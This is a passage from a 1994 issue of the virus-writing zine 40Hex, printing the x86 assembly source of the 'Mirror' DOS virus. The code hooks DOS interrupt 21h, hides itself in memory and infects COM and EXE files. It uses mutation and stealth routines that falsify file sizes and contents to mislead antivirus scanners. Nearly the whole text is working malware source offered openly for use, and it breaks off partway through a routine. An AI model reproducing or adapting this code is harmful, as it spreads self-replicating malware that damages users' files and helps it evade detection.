home *** CD-ROM | disk | FTP | other *** search
Text File | 1994-05-29 | 74.1 KB | 2,142 lines |
- 40Hex Number 13 Volume 4 Issue 1 File 005
-
- 8<------------<mirror.asm>--------------------------------------------------->8
- ;*****************************************************************************;
- ; ;
- ; Mirror: ;
- ; ;
- ; Mirror is the reverse of Stealth techniques. This virus doesn't hide the ;
- ; virus, but but let the scanner think every program is infected by the ;
- ; virus. The virus is also made to work with every exe file that uses ;
- ; internal overlays, by making all running programs stealth. ;
- ; ;
- ;*****************************************************************************;
-
- code segment public 'code'
- assume cs:code, ds:code, es:code
- org 100h
-
- VirusTop equ $
- VirusSize equ (VirusEnd - $)
- MemorySize equ (MemoryEnd - $ + VirusSize)
-
- EntryPoint: mov dx,ds
- call ExeMain
-
- Relocate equ ($ - VirusTop)
- ComExe equ byte ptr [$ - VirusTop - 2]
- ExeID equ (ExeMain - $)
- ComID equ (ComMain - $)
-
- HeaderLength equ 1ah
- TheHeader equ $
- Header equ word ptr [$ - VirusTop]
- JumpOpcode equ byte ptr [$ - VirusTop]
- JumpDisp equ word ptr [$ - VirusTop + 01h]
- PartPage equ word ptr [$ - VirusTop + 02h]
- PageCount equ word ptr [$ - VirusTop + 04h]
- ReloCount equ word ptr [$ - VirusTop + 06h]
- HeaderSize equ word ptr [$ - VirusTop + 08h]
- MinMem equ word ptr [$ - VirusTop + 0ah]
- MaxMem equ word ptr [$ - VirusTop + 0ch]
- ExeSS equ word ptr [$ - VirusTop + 0eh]
- ExeSP equ word ptr [$ - VirusTop + 10h]
- Signature equ word ptr [$ - VirusTop + 12h]
- ExeEntry equ dword ptr [$ - VirusTop + 14h]
- ExeIP equ word ptr [$ - VirusTop + 14h]
- ExeCS equ word ptr [$ - VirusTop + 16h]
- RelocationOfs equ word ptr [$ - VirusTop + 18h]
-
- dw "ZM",6 dup(0),0,0ffeh,?,0,-10h,0
-
- VirusID equ byte ptr [$ - VirusTop]
- db '[ Mirror: Bit Addict / TridenT ]'
-
- GotoNewCS: db 0eah
- dw Continue - VirusTop,?
- NewCodeSegment equ word ptr [$ - VirusTop - 2]
-
- ExecuteProg: mov ax,1234h
- SavedPSP equ word ptr [$ - VirusTop - 2]
- mov ds,ax
- mov es,ax
- mov ax,1234h
- SavedRegAX equ word ptr [$ - VirusTop - 2]
- mov dx,1234h
- InitExeSS equ word ptr [$ - VirusTop - 2]
- mov ss,dx
- mov sp,1234h
- InitExeSP equ word ptr [$ - VirusTop - 2]
- db 0eah,?,?,?,?
- InitExeIP equ word ptr [$ - VirusTop - 4]
- InitExeCS equ word ptr [$ - VirusTop - 2]
-
- Continue: mov ss,cs:InitExeSS
- mov sp,cs:InitExeSP
- sti
- mov ax,1234h
- PatchSegment equ word ptr [$ - VirusTop - 2]
- mov bx,1234h
- PatchOffset equ word ptr [$ - VirusTop - 2]
- mov ds,ax
- mov byte ptr ds:[bx-1],9ah
- mov word ptr ds:[bx],(Dos - VirusTop)
- mov word ptr ds:[bx+2],cs
- mov ah,3fh
- xor bx,bx
- mov cx,1
- mov dx,-1
- int 21h
- mov ah,40h
- inc bx
- int 21h
- mov ds,cs:SavedPSP
- mov ax,ds:[2ch]
- mov ch,-1
- xor di,di
- mov es,ax
- push cs
- pop ds
- SearchComspec: or ax,ax
- je ExecuteProg
- mov cx,8
- mov dx,di
- mov si,offset Comspec
- cld
- repe cmpsb
- xchg dx,di
- je ComspecFound
- xor ax,ax
- mov ch,0ffh
- repne scasb
- mov al,es:[di]
- jmp SearchComspec
- ComspecFound: push es
- pop ds
- mov ax,3d00h
- int 21h
- jc ExecuteProg
- xchg ax,bx
- mov ah,3fh
- xor cx,cx
- mov dx,-1
- int 21h
- mov ah,3eh
- int 21h
- jmp ExecuteProg
-
- Comspec equ byte ptr [$ - VirusTop]
- db 'COMSPEC='
-
- ComMain: pop si
- mov cx,HeaderLength
- mov di,100h
- mov ds:InitExeSS[si - Relocate],ss
- mov ds:InitExeSP[si - Relocate],sp
- mov ds:InitExeCS[si - Relocate],cs
- mov ds:InitExeIP[si - Relocate],di
- cld
- rep movsb
- sub si,Relocate + HeaderLength
- jmp short Main
-
- ExeMain: pop si
- sub si,Relocate
- mov bx,ds
- add bx,10h
- mov cx,bx
- push cs
- pop ds
- add bx,ds:ExeSS[si]
- mov ds:InitExeSS[si],bx
- mov bx,ds:ExeSP[si]
- mov ds:InitExeSP[si],bx
- add cx,ds:ExeCS[si]
- mov ds:InitExeCS[si],cx
- mov cx,ds:ExeIP[si]
- mov ds:InitExeIP[si],cx
- Main: mov ds:SavedPSP[si],dx
- mov ds:SavedRegAX[si],ax
- mov ah,34h
- int 21h
- dec bx
- mov ds:DosSDAofs[si],bx
- mov ds:DosSDAseg[si],es
- mov ah,52h
- int 21h
- mov ax,es
- cmp ax,ds:DosSDAseg[si]
- jne CannotInstall
- mov ax,es:[bx+4]
- mov ds:DosSFTofs[si],ax
- mov ax,es:[bx+6]
- mov ds:DosSFTseg[si],ax
- mov ax,es:[bx-2]
- mov ds:FirstMCB[si],ax
- sub ax,ds:DosSDAseg[si]
- mov cl,4
- shl ax,cl
- xchg ax,cx
- xor di,di
- jmp short SearchOpcode
- CannotInstall: jmp ExecuteProg
- SearchHMA: or di,di
- je CannotInstall
- mov ax,-1
- mov es,ax
- mov cx,-10h
- mov di,10h
- SearchOpcode: mov al,36h
- repne scasb
- jne SearchHMA
- cmp word ptr es:[di],16ffh
- jne SearchOpcode
- mov ax,es:[di+2]
- mov bx,351eh
- cmp ax,57ch
- je OpcodeFound
- mov bx,3b84h
- cmp ax,5eah
- jne SearchOpcode
- OpcodeFound: mov ds:JumpVar[si],ax
- mov ds:DosSFTsize[si],bh
- mov ds:StackPtr[si],bl
- mov ds:PatchOffset[si],di
- mov ds:PatchSegment[si],es
- mov al,0cbh
- repne scasb
- jne CannotInstall
- dec di
- mov ds:ReturnOpcodeOfs[si],di
- mov ds:ReturnOpcodeSeg[si],es
- mov ax,ds:FirstMCB[si]
- xor bx,bx
- dec dx
- SearchBlock: mov ds,ax
- cmp word ptr ds:[bx+1],bx
- jne NotFree
- cmp word ptr ds:[bx+3],(MemorySize + 0fh) / 10h
- jb NotFree
- mov dx,ax
- NotFree: inc ax
- add ax,ds:[bx+3]
- cmp byte ptr ds:[bx],"M"
- je SearchBlock
- mov ds,dx
- mov cx,(MemorySize + 0fh) / 10h
- add dx,ds:[bx+3]
- sub dx,cx
- cmp bx,ds:[bx+1]
- je FreeBlock
- sbb ds:[bx+3],cx
- mov al,"M"
- xchg al,ds:[bx]
- mov ds,dx
- mov ds:[bx],al
- mov ds:[bx+1],bx
- mov ds:[bx+3],cx
- FreeBlock: inc dx
- mov es,dx
- push cs
- pop ds
- std
- mov ax,-1
- mov ds:LastPSP[si],ax
- mov ds:NewCodeSegment[si],dx
- cli
- mov cx,(MemoryEnd - VirusEnd)
- mov di,offset MemoryEnd - VirusTop - 1
- rep stosb
- mov cx,(VirusEnd - VirusTop)
- add si,offset VirusEnd - VirusTop - 1
- rep movsb
- jmp GotoNewCS
-
- ;*****************************************************************************;
- ; ;
- ; New dos entry point ;
- ; ;
- ;*****************************************************************************;
-
- dbw macro bval, wval
- db bval
- dw wval - VirusTop
- endm
-
- Functions equ byte ptr [$ - VirusTop]
- dbw 11h, FindFCB
- dbw 12h, FindFCB
- dbw 3ch, CheckFileTable
- dbw 3dh, Open
- dbw 3fh, Read
- dbw 40h, Write
- dbw 42h, Seek
- dbw 45h, CheckFileTable
- dbw 48h, ShowBlock
- dbw 4ah, ShowBlock
- dbw 4bh, ShowBlock
- dbw 4eh, FindFile
- dbw 4fh, FindFile
- dbw 5ah, CheckFileTable
- dbw 5bh, CheckFileTable
- dbw 6ch, ExtOpen
- LastFunction equ byte ptr [$ - VirusTop]
- dbw -1h, DoNothing
-
- Dos: pop cs:DosMainOfs
- pop cs:DosMainSeg
- push bx
- push ds
- push cs
- pop ds
- mov bx,offset Functions - 3
- NextFunction: add bx,3
- cmp ah,[bx]
- je RightFunction
- ja NextFunction
- mov bx,offset LastFunction
- RightFunction: push bp
- mov bp,sp
- mov bx,[bx+1]
- xchg bx,[bp+4]
- pop bp
- push es
- push ax
- push bx
- push cx
- push dx
- push si
- push di
- mov ax,ss:[1234h]
- JumpVar equ word ptr [$ - VirusTop - 2]
- mov cs:DosFunctionOfs,ax
- mov ax,cs:DosMainSeg
- mov cs:DosFunctionSeg,ax
- call GetPSP
- cmp word ptr ds:[0],20cdh
- jne IllegalPSP
- mov ax,ds
- cmp ax,0c000h
- jae IllegalPSP
- cmp ax,1234h
- LastPSP equ word ptr [$ - VirusTop - 2]
- jne OtherPSP
- IllegalPSP: jmp SamePSP
- OtherPSP: push cs
- pop ds
- push cs
- pop es
- mov ds:LastPSP,ax
- cld
- mov bx,-1
- mov cx,8
- mov di,offset StealthNames - 8
- NextPSP: add di,8
- scasw
- ja DoNotClear
- mov ds:[di-2],bx
- DoNotClear: loop NextPSP
- mov cl,7
- mov di,offset StealthNames - 10
- FindEmptyName: add di,10
- cmp ds:[di],bx
- je EmptyName
- cmp ds:[di],ax
- loopne FindEmptyName
- EmptyName: stosw
- mov si,di
- dec ax
- cmp ds:DosSFTsize,35h
- mov ds,ax
- je DosVersion3
- mov di,8
- jmp BeginOfName
- DosVersion3: mov es,ds:[3ch]
- push es
- pop ds
- xor ax,ax
- mov ch,-1
- xor di,di
- NotEnd: repne scasb
- scasb
- jne NotEnd
- inc di
- inc di
- mov bx,di
- repne scasb
- NextPathChar: mov al,ds:[di-2]
- dec di
- cmp al,"\"
- je BeginOfName
- cmp al,":"
- je BeginOfName
- cmp di,bx
- ja NextPathChar
- BeginOfName: push cs
- pop es
- mov cx,8
- xchg si,di
- NextNameChar: lodsb
- cmp al,"."
- je BlankIt
- cmp al," "
- jbe BlankIt
- stosb
- loop NextNameChar
- BlankIt: mov al," "
- rep stosb
- SamePSP: call FindMCB
- jne Hide_4
- cmp ds:[bx+1],bx
- je Hide_1
- mov dx,ax
- Hide_1: push dx
- mov ds,ax
- mov ds:[bx+1],bx
- mov cx,-1
- mov ds,dx
- Hide_2: mov ax,ds:[bx+3]
- inc ax
- add cx,ax
- add dx,ax
- mov al,ds:[bx]
- cmp al,"M"
- jne Hide_3
- mov ds,dx
- cmp ds:[bx+1],bx
- je Hide_2
- Hide_3: pop ds
- mov ds:[bx],al
- mov ds:[bx+3],cx
- Hide_4: pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- pop es
- pop ds
- ret
-
- ;*****************************************************************************;
- ; ;
- ; Show memory block to prevent overwriting by another program ;
- ; ;
- ;*****************************************************************************;
-
- ShowBlock: push ax
- push bx
- push cx
- push dx
- push ds
- Show_1: call FindMCB
- je Show_2
- mov ax,cx
- sub cx,dx
- mov dx,ds:[bx+3]
- sub dx,cx
- dec cx
- call SetMCB
- Show_2: mov ds,ax
- mov ds:[bx+1],cs
- mov cx,(MemorySize + 0fh) / 10h
- mov dx,ds:[bx+3]
- sub dx,cx
- jbe Show_3
- call SetMCB
- Show_3: pop ds
- pop dx
- pop cx
- pop bx
- pop ax
- jmp DoNothing
-
- ;*****************************************************************************;
- ; ;
- ; Directory search ;
- ; ;
- ;*****************************************************************************;
-
- CheckExtension: xor ax,ax
- mov ch,-1
- cld
- repne scasb
- CheckExt: mov ax,es:[di-4]
- or ax,2020h
- cmp ax,"xe"
- je CheckLastChar
- cmp ax,"oc"
- jne NotExecFile
- mov al,"m"
- CheckLastChar: mov ah,es:[di-2]
- or ah,20h
- cmp ah,al
- NotExecFile: ret
-
- FindFile: call DosCall
- jc FindFailed
- push ax
- call GetDTA
- push di
- add di,1eh
- call CheckExtension
- pop di
- jne WrongFile
- RightFile: mov ax,0ddh
- sub al,es:[di+1ah]
- jz WrongFile
- sub al,(VirusSize + 20h) and 0ffh
- add ax,(VirusSize + 20h)
- add word ptr es:[di+1ah],ax
- adc word ptr es:[di+1ch],0
- WrongFile: pop ax
- FindFailed: jmp DosMain
-
- FindFCB: call DosCall
- cmp al,0
- jne FindFailed
- push ax
- call GetDTA
- cmp byte ptr es:[di],-1
- jne NotExtendedFCB
- add di,7
- NotExtendedFCB: add di,0dh
- call CheckExt
- jne WrongFile
- sub di,0ah
- jmp RightFile
-
- ;*****************************************************************************;
- ; ;
- ; Seeking to the end of a mirrored file ;
- ; ;
- ;*****************************************************************************;
-
- Seek: cmp al,2
- jne DoSeek
- call FindHandle
- jnz DoSeek
- test byte ptr cs:[si+6],80h
- mov si,cs:TotalSize
- jnz SeekStealth
- SeekMirror: add dx,si
- adc cx,0
- jmp short DoSeek
- SeekStealth: sub dx,si
- sbb cx,0
- DoSeek: jmp DoNothing
-
- ;*****************************************************************************;
- ; ;
- ; Routines to call the orginal dos code ;
- ; ;
- ;*****************************************************************************;
-
- StackFrame: db 36h,0c5h,36h,?,5
- StackPtr equ byte ptr [$ - VirusTop - 2]
- ret
-
- WriteCall: push ax
- mov ax,cs:WriteFunction
- jmp short ReadWriteCall
- ReadCall: push ax
- mov ax,cs:ReadFunction
- ReadWriteCall: mov cs:DosFunctionOfs,ax
- pop ax
- DosCall: push cs
- call JumpToFunction
- mov ah,ds:[si+22]
- sahf
- mov ah,ds:[si+1]
- mov bx,ds:[si+2]
- mov cx,ds:[si+4]
- mov dx,ds:[si+6]
- ret
-
- DosMain: db 0eah
- dd ?
- DosMainOfs equ word ptr [$ - VirusTop - 4]
- DosMainSeg equ word ptr [$ - VirusTop - 2]
-
- JumpToFunction: push ax
- push cx
- push bp
- mov bp,sp
- mov ax,1234h
- ReturnOpcodeSeg equ word ptr [$ - VirusTop - 2]
- sub ax,cs:DosFunctionSeg
- mov cl,4
- shl ax,cl
- add ax,1234h
- ReturnOpcodeOfs equ word ptr [$ - VirusTop - 2]
- xchg ax,ss:[bp+4]
- pop bp
- pop cx
- jmp short DosFunction
-
- DoNothing: push cs:DosMainOfs
- DosFunction: db 0eah
- dw ?,?,0a839h,0a89fh
- DosFunctionOfs equ word ptr [$ - VirusTop - 8]
- DosFunctionSeg equ word ptr [$ - VirusTop - 6]
- ReadFunction equ word ptr [$ - VirusTop - 4]
- WriteFunction equ word ptr [$ - VirusTop - 2]
-
- ;*****************************************************************************;
- ; ;
- ; Opening a mirrored file ;
- ; ;
- ;*****************************************************************************;
-
- ChkHandles: push ax
- push bx
- push cx
- push si
- push ds
- mov bx,offset FileTable
- mov cx,MaxFiles
- ChkNextHandle: cmp word ptr cs:[bx],-1
- je ChkHandleOk
- mov ax,cs:[bx]
- call FindSFT
- cmp word ptr ds:[si],0
- jne ChkHandleOk
- mov word ptr cs:[bx],-1
- ChkHandleOk: add bx,FileTableEntry
- loop ChkNextHandle
- pop ds
- pop si
- pop cx
- pop bx
- pop ax
- ret
-
- CheckFileTable: call ChkHandles
- jmp DoNothing
-
- ExtOpen: call ChkHandles
- or al,al
- jnz DoNothing
- call DosCall
- jc DosMain
- cmp cl,1
- jne DosMain
- jmp OpenOk
- Open: call ChkHandles
- call DosCall
- jc DosMain
- OpenOk: push ds:[si+22]
- push ax
- xchg ax,bx
- call GetSFTindex
- call FindSFT
- test byte ptr ds:[si+5],80h
- jnz NotExecutable
- push ds
- pop es
- lea di,[si+2ch]
- call CheckExt
- NotExecutable: jz Executable
- jmp DoNotInfect
- Executable: pop bx
- mov cx,HeaderLength
- mov dx,offset Header
- push cs
- pop ds
- push bx
- call ReadCall
- call LastSFT
- mov byte ptr ds:[si+15h],3ch
- pop bx
- mov cx,4
- mov dx,offset NewExeOfs
- push cs
- pop ds
- push bx
- call ReadCall
- call LastSFT
- mov ax,ds:[si+11h]
- mov cs:FileSizeL,ax
- mov ax,ds:[si+13h]
- mov cs:FileSizeH,ax
- push cs
- pop es
- mov cx,8
- mov di,offset StealthNames - 8
- cld
- NextName: jcxz NotStealth
- mov ax,-1
- dec cx
- add di,8
- scasw
- je NextName
- push cx
- push si
- push di
- mov cx,8
- add si,20h
- repe cmpsb
- pop di
- pop si
- pop cx
- jne NextName
- jmp short StealthMode
- NotStealth: cmp byte ptr ds:[si+11h],0ddh
- je DoNotInfect
- call CalcImageSize
- cmp ds:[si+13h],dx
- jb DoNotInfect
- ja FileSizeOk
- cmp ds:[si+11h],ax
- jb DoNotInfect
- FileSizeOk: call CalcImageSize
- mov dx,0
- mov si,offset Header
- jc StoreFileInfo
- push cs
- pop ds
- cmp ds:RelocationOfs,40h
- jb StoreFileInfo
- cmp ds:NewExeOfsL,dx
- jne DoNotInfect
- cmp ds:NewExeOfsH,dx
- jne DoNotInfect
- StoreFileInfo: push si
- mov bx,-1
- call FindHandle
- mov bx,si
- pop si
- jne DoNotInfect
- push cs
- pop ds
- mov ds:[bx],1234h
- LastSFTindex equ word ptr [$ - VirusTop - 2]
- mov ax,ds:FileSizeL
- mov ds:[bx+2],ax
- mov ax,ds:FileSizeH
- mov ds:[bx+4],ax
- mov ds:[bx+6],dl
- mov cx,HeaderLength
- lea di,[bx+7]
- cld
- rep movsb
- DoNotInfect: xor ax,ax
- call LastSFT
- mov ds:[si+15h],ax
- mov ds:[si+17h],ax
- call StackFrame
- pop ax
- mov ds:[si],ax
- pop ds:[si+22]
- jmp DosMain
-
- StealthMode: cmp byte ptr ds:[si+11h],0ddh
- jne DoNotInfect
- call CalcImageSize
- mov cx,cs:Signature
- sub ax,cx
- sbb dx,0
- mov ds:[si+15h],ax
- mov ds:[si+17h],dx
- push cs
- pop ds
- sub ds:FileSizeL,cx
- sbb ds:FileSizeH,0
- cmp dx,10h
- jae DoNotInfect
- call SplitImageSize
- call CalcImageSize
- mov cx,10h
- div cx
- sub dx,ds:ExeIP
- jne DoNotInfect
- sub ax,ds:HeaderSize
- sub ax,ds:ExeCS
- jne DoNotInfect
- pop bx
- push bx
- call ReadVirus
- jne DoNotInfect
- mov dl,85h
- lea si,ds:[di+Header-VirusID-20h]
- jmp StoreFileInfo
-
- GetSFTindex: push si
- push ds
- call GetPSP
- lea ax,[bx+1]
- cmp ds:[32h],ax
- jb InvalidHandle
- lds si,ds:[34h]
- mov al,ds:[bx+si]
- sub ah,ah
- mov cs:LastSFTindex,ax
- InvalidHandle: pop ds
- pop si
- ret
-
- FindSFT: mov si,1234h
- DosSFTseg equ word ptr [$ - VirusTop - 2]
- mov ds,si
- mov si,1234h
- DosSFTofs equ word ptr [$ - VirusTop - 2]
- NextSFT: cmp ax,ds:[si+4]
- jb RightSFT
- sub ax,ds:[si+4]
- lds si,ds:[si]
- jmp short NextSFT
- RightSFT: mov ah,12h
- DosSFTsize equ byte ptr [$ - VirusTop - 1]
- mul ah
- add si,ax
- add si,6
- mov cs:LastSFTofs,si
- mov cs:LastSFTseg,ds
- LastSFT: mov si,1234h
- LastSFTseg equ word ptr [$ - VirusTop - 2]
- mov ds,si
- mov si,1234h
- LastSFTofs equ word ptr [$ - VirusTop - 2]
- ret
-
- GetDTA: call DosSDA
- les di,ds:[si+0ch]
- DosSDA: mov si,1234h
- DosSDAseg equ word ptr [$ - VirusTop - 2]
- mov ds,si
- mov si,1234h
- DosSDAofs equ word ptr [$ - VirusTop - 2]
- ret
-
- GetPSP: call DosSDA
- mov ds,ds:[si+10h]
- ret
-
- ;*****************************************************************************;
- ; ;
- ; Reading from and writing to a mirrored file ;
- ; ;
- ;*****************************************************************************;
-
- Read: cmp dx,-1
- jne NotInfectCmd
- or cx,cx
- jne NotInfectCmd
- call FindHandle
- jnz AbortAction
- call InfectFile
- jmp short AbortAction
- NotInfectCmd: push ax
- mov ax,cs:DosFunctionOfs
- mov cs:ReadFunction,ax
- call FindHandle
- jnz RdOtherHandle
- mov ah,40h
- or ah,cs:[si+6]
- or byte ptr cs:[si+6],1
- sahf
- RdOtherHandle: pop ax
- jnz OtherHandle
- jns _ReadMirror
- jmp ReadStealth
-
- Write: push ax
- mov ax,cs:DosFunctionOfs
- mov cs:WriteFunction,ax
- call FindHandle
- jnz WrOtherHandle
- mov ah,40h
- or ah,cs:[si+6]
- or byte ptr cs:[si+6],4
- sahf
- WrOtherHandle: pop ax
- jnz OtherHandle
- js _WriteStealth
- jp RemoveHandle
- jc WriteMirror
- call InfectFile
- jc WriteMirror
- RemoveHandle: call FindHandle
- mov word ptr cs:[si],-1
- ActionOk: jmp DoNothing
- OtherHandle: cmp bx,2
- jae ActionOk
- cmp dx,-1
- jne ActionOk
- AbortAction: jmp DosMain
-
- _WriteStealth: jmp WriteStealth
- _ReadMirror: jmp ReadMirror
- _Truncate: jmp Truncate
-
- IllegalWrite: mov ax,5
- call DosSDA
- mov word ptr ds:[si+2],1ffh
- mov word ptr ds:[si+4],ax
- mov word ptr ds:[si+6],307h
- call StackFrame
- mov ds:[si],ax
- or ds:[si+22],al
- jmp DosMain
-
- WriteMirror: call SplitCount
- jcxz _Truncate
- call CompareHeaders
- jne IllegalWrite
- call CompareViruses
- jne IllegalWrite
- call FindHandle
- ReadMirror: call SplitCount
- push ds
- mov ax,1234h
- VirusOffset equ word ptr [$ - VirusTop - 2]
- call LastSFT
- sub word ptr ds:[si+15h],ax
- sbb word ptr ds:[si+17h],0
- pop ds
- xor ax,ax
- sub cx,cs:VirusCount
- jcxz ReadZero
- call DosCall
- ReadZero: pushf
- push ax
- push cs
- pop ds
- mov ax,ds:VirusCount
- add ax,ds:VirusOffset
- call LastSFT
- add word ptr ds:[si+15h],ax
- adc word ptr ds:[si+17h],0
- pop ax
- popf
- jc ReadError
- add ax,cs:VirusCount
- push ax
- call StackFrame
- xchg ax,cx
- mov ds:[si],cx
- mov bx,ds:[si+6]
- mov es,ds:[si+14]
- mov ds,ds:[si+14]
- call SplitCount
- mov di,1234h
- VirusCount equ word ptr [$ - VirusTop - 2]
- or di,di
- jz NewHeader
- call Mutate
- mov cx,1234h
- OverlayCount equ word ptr [$ - VirusTop - 2]
- mov si,1234h
- ImageCount equ word ptr [$ - VirusTop - 2]
- add si,bx
- push si
- push di
- jcxz DoNotMove
- dec si
- add si,cx
- add di,si
- std
- rep movsb
- DoNotMove: push cs
- pop ds
- pop cx
- pop di
- mov si,offset Buffer
- add si,ds:VirusOffset
- cld
- rep movsb
- NewHeader: mov cx,ds:HeaderCount
- jcxz ReadError
- call UpdateHeader
- mov cx,ds:HeaderCount
- mov si,ds:SFT_FilePosL
- lea di,[bx+si]
- add si,offset Header
- cld
- rep movsb
- ReadError: pop ax
- jmp DosMain
-
- Truncate: push ds
- call LastSFT
- mov ax,cs:VirusOffset
- sub ds:[si+15h],ax
- sbb word ptr ds:[si+17h],0
- pop ds
- call DosCall
- pushf
- push ax
- push ds:[si+2]
- call LastSFT
- mov ax,cs:VirusOffset
- add word ptr ds:[si+15h],ax
- adc word ptr ds:[si+17h],0
- pop bx
- pop ax
- popf
- jc TruncateEnd
- call FindHandle
- mov word ptr cs:[si],-1
- TruncateEnd: jmp DosMain
-
- WriteStealth: call SplitCount
- neg cs:VirusOffset
- jcxz Truncate
- call ChangeHeader
- ReadStealth: call SplitCount
- push ds
- mov cx,cs:HeaderCount
- call LastSFT
- add word ptr ds:[si+15h],cx
- adc word ptr ds:[si+17h],0
- pop ds
- push dx
- push ds
- add dx,cx
- neg cx
- add cx,cs:ImageCount
- jcxz FirstCntZero
- call DosCall
- FirstCntZero: call LastSFT
- add word ptr ds:[si+15h],1234
- TotalSize equ word ptr [$ - VirusTop - 2]
- adc word ptr ds:[si+17h],0
- pop ds
- pop dx
- push dx
- push ds
- xor ax,ax
- mov cx,1234h
- StealthCount equ word ptr [$ - VirusTop - 2]
- add dx,cs:ImageCount
- jcxz SecondCntZero
- call DosCall
- SecondCntZero: call LastSFT
- mov cx,cs:TotalSize
- sub word ptr ds:[si+15h],cx
- sbb word ptr ds:[si+17h],0
- push cs
- pop ds
- pop es
- pop di
- add ax,ds:ImageCount
- mov cx,ds:HeaderCount
- jcxz EndOfRead
- mov si,offset Header
- add si,ds:SFT_FilePosL
- cld
- rep movsb
- EndOfRead: call StackFrame
- mov ds:[si],ax
- jmp DosMain
-
- CompareHeaders: push cx
- mov cx,cs:HeaderCount
- jcxz NoHeaderWrite
- push si
- push di
- push es
- push dx
- push ds
- call UpdateHeader
- pop ds
- pop dx
- push cs
- pop es
- mov cx,1234h
- HeaderCount equ word ptr [$ - VirusTop - 2]
- mov si,dx
- mov di,offset Header
- cld
- repe cmpsb
- pop es
- pop di
- pop si
- NoHeaderWrite: pop cx
- ret
-
- CompareViruses: push cx
- mov cx,cs:VirusCount
- jcxz NoVirusWrite
- push cx
- push si
- push dx
- call Mutate
- pop dx
- push di
- push es
- push cs
- pop es
- mov cx,cs:VirusCount
- mov si,dx
- add si,cs:ImageCount
- mov di,offset Buffer
- add di,cs:VirusOffset
- push si
- cld
- repe cmpsb
- mov si,di
- pop di
- jne DoNotRemove
- push ds
- pop es
- mov cx,cs:OverlayCount
- rep movsb
- DoNotRemove: pop es
- pop di
- pop si
- NoVirusWrite: pop cx
- ret
-
- SplitCount: push ax
- push bx
- push cx
- push dx
- push si
- push di
- push ds
- push cs
- pop ds
- mov ax,HeaderLength
- cwd
- mov si,ds:SFT_FilePosL
- mov di,ds:SFT_FilePosH
- call CalcCounter
- add cx,bx
- sub si,bx
- mov ds:HeaderCount,bx
- push cx
- call CalcImageSize
- pop cx
- xor bx,bx
- sub si,ax
- sbb di,dx
- jb VirusOfsOk
- mov bx,ds:TotalSize
- ja VirusOfsOk
- cmp si,bx
- ja VirusOfsOk
- mov bx,si
- VirusOfsOk: mov ds:VirusOffset,bx
- add si,ax
- adc di,dx
- call CalcCounter
- mov ds:ImageCount,bx
- cmp ds:HeaderCount,bx
- jbe HeaderCountOk
- mov ds:HeaderCount,bx
- HeaderCountOk: add ax,ds:TotalSize
- add dx,0
- call CalcCounter
- mov ds:VirusCount,bx
- mov ds:OverlayCount,cx
- add cx,bx
- mov ds:StealthCount,cx
- pop ds
- pop di
- pop si
- pop dx
- pop cx
- pop bx
- pop ax
- ret
-
- CalcCounter: push ax
- push dx
- xor bx,bx
- sub ax,si
- sbb dx,di
- jb CounterOk
- mov bx,cx
- jne CounterOk
- cmp ax,cx
- jae CounterOk
- xchg ax,bx
- CounterOk: sub cx,bx
- add si,bx
- adc di,0
- pop dx
- pop ax
- ret
-
- ChangeHeader: cmp cs:HeaderCount,0
- je NoHeaderChange
- push ax
- push bx
- push cx
- push si
- push di
- push es
- push dx
- push ds
- call CalcImageSize
- call LastSFT
- mov ds:[si+15h],ax
- mov ds:[si+17h],dx
- call ReadVirus
- jne WriteError
- mov cx,ds:HeaderCount
- mov di,offset Buffer + Header
- add di,ds:DecryptorSize
- add di,ds:SFT_FilePosL
- pop ds
- pop si
- push si
- push ds
- cld
- rep movsb
- and cs:MutationFlags,07fh
- call Mutate
- call CalcImageSize
- call LastSFT
- mov ds:[si+15h],ax
- mov ds:[si+17h],dx
- push cs
- pop ds
- mov cx,ds:TotalSize
- mov dx,offset Buffer
- call DosCall
- WriteError: call LastSFT
- mov ax,cs:SFT_FilePosL
- mov word ptr ds:[si+15h],ax
- mov ax,cs:SFT_FilePosH
- mov word ptr ds:[si+17h],ax
- pop ds
- pop dx
- pop es
- pop di
- pop si
- pop cx
- pop bx
- pop ax
- NoHeaderChange: ret
-
- ReadVirus: call MutationParms
- push cs:DosFunctionOfs
- call StackFrame
- push ds:[si]
- push ds:[si+22]
- push cs
- pop ds
- mov cx,ds:TotalSize
- mov dx,offset Buffer
- call ReadCall
- pop ds:[si+22]
- pop ds:[si]
- push cs
- pop ds
- pop ds:DosFunctionOfs
- or ds:MutationFlags,80h
- call Mutate
- push cs
- pop es
- mov cx,20h
- mov si,offset VirusID
- mov di,offset Buffer + VirusID
- add di,ds:DecryptorSize
- cld
- repe cmpsb
- ret
-
- ;*****************************************************************************;
- ; ;
- ; Write the virus to an existing file ;
- ; ;
- ;*****************************************************************************;
-
- Fail: mov al,3
- iret
-
- InfectFile: push cs:DosFunctionOfs
- push ax
- push cx
- push dx
- push si
- push ds
- xor ax,ax
- mov ds,ax
- mov ax,offset Fail - VirusTop
- xchg ax,ds:[90h]
- push ax
- mov ax,cs
- xchg ax,ds:[92h]
- push ax
- push ds
- push cs
- pop ds
- mov ax,ds:SFT_FileSizeL
- cmp al,0ddh
- stc
- je InfectError
- mov ds:FileSizeL,ax
- mov ax,ds:SFT_FileSizeH
- mov ds:FileSizeH,ax
- call CalcImageSize
- sub ax,ds:SFT_FileSizeL
- sbb dx,ds:SFT_FileSizeH
- jc InfectError
- call Mutate
- call LastSFT
- and byte ptr ds:[si+2],0feh
- or byte ptr ds:[si+2],2
- and byte ptr ds:[si+4],3ah
- mov ax,ds:[si+11h]
- mov ds:[si+15h],ax
- mov ax,ds:[si+13h]
- mov ds:[si+17h],ax
- push cs
- pop ds
- mov cx,cs:TotalSize
- mov dx,offset Buffer
- call WriteCall
- jc InfectError
- call LastSFT
- xor ax,ax
- mov ds:[si+15h],ax
- mov ds:[si+17h],ax
- call UpdateHeader
- mov cx,HeaderLength
- mov dx,offset Header
- call WriteCall
- InfectError: call LastSFT
- mov ax,cs:SFT_OpenMode
- mov ds:[si+2],ax
- mov al,cs:SFT_Attribute
- mov byte ptr ds:[si+4],al
- mov ax,cs:SFT_DeviceInfo
- mov ds:[si+6],ah
- mov ax,cs:SFT_FilePosL
- mov ds:[si+17h],ax
- mov ax,cs:SFT_FilePosH
- mov ds:[si+19h],ax
- pop ds
- pop word ptr ds:[92h]
- pop word ptr ds:[90h]
- pop ds
- pop si
- pop dx
- pop cx
- pop ax
- pop cs:DosFunctionOfs
- ret
-
- ;*****************************************************************************;
- ; ;
- ; Library used by all parts of the virus ;
- ; ;
- ;*****************************************************************************;
-
- UpdateHeader: push cs
- pop ds
- call CalcImageSize
- mov cx,10h
- cmp dx,cx
- jae HeaderOk
- div cx
